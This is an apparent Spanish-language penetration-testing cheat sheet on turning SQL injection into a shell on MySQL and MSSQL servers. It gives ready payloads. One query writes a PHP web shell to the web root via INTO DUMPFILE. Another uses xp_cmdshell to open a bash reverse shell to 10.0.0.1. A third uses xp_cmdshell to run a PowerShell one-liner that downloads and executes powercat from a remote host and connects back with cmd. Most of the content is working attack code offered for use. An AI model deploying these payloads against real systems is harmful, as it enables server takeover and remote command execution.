Hay varias formas de obtener shell. Aquí hay algunos de ellos. El enlace en la parte inferior debería llevarlo a algunas hojas de trucos excelentes para muchos tipos de bases de datos como MSSQL, Oracle, MySQL y más.
Un buen consejo para obtener shell es tener esta hoja de trucos de shell inversa en tu bolsillo trasero.
Outfile
Si sabe dónde colocar el shell en el servidor (en algún lugar accesible) puede usar la siguiente consulta (mysql) para crear, por ejemplo, un shell php en el servidor web:
SELECT '<?php exec($_GET[''cmd'']); ?>' FROM mytable INTO dumpfile ‘/var/www/html/shell.php’
Buscando dónde debes colocar el shell
Necesitas saber dónde está el directorio de dominio. Aprender dónde se está ejecutando la base de datos puede ser útil, por lo que una consulta de inyección (mysql) como esta quizás le dirá acerca de la arquitectura del directorio:
SELECT @@datadir;
También puede tener suerte si intenta forzar cualquier mensaje de error del sistema para que le indique dónde se está ejecutando. Normalmente, este enfoque es el más fácil, ya que muchos mensajes de error son muy
Usando funciones de DB incorporadas (xp_cmdshell)
MSSQL tiene una forma relativamente sencilla de llamar a las funciones del sistema operativo mediante el uso de la función incorporada xp_cmdshell. No es tan fácil en MySQL (generalmente requiere outfile o procedimiento almacenado). Oracle es muy fácil y permite el código Java para ser ejecutado.
EXEC xp_cmdshell 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'
La declaración anterior crea un shell interactivo (-i) que escucha en el puerto 8080 10.0.0.1.
Editar : por supuesto, MSSQL con Bash es realmente improbable. No pensé en eso antes de ver el comentario. En lugar de bash, uno puede hacer un script inverso de Powershell en su lugar, como este:
EXEC xp_cmdshell 'powershell -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString("http://10.0.0.1:8080/powercat.ps1");powercat -c 10.0.0.1 -p 443 -e cmd'
Powercat se puede descargar desde aquí: enlace
Shell a través de procedimientos almacenados
Si puede concatenar consultas en un punto de inyección, lo más probable es que pueda crear procedimientos en la base de datos. Estos procedimientos funcionan como funciones que luego se pueden llamar con quries.
Consulte comandos de shell de PL SQL para obtener más detalles sobre esto.
Otro
Buena fuente de inyección: mono Pentest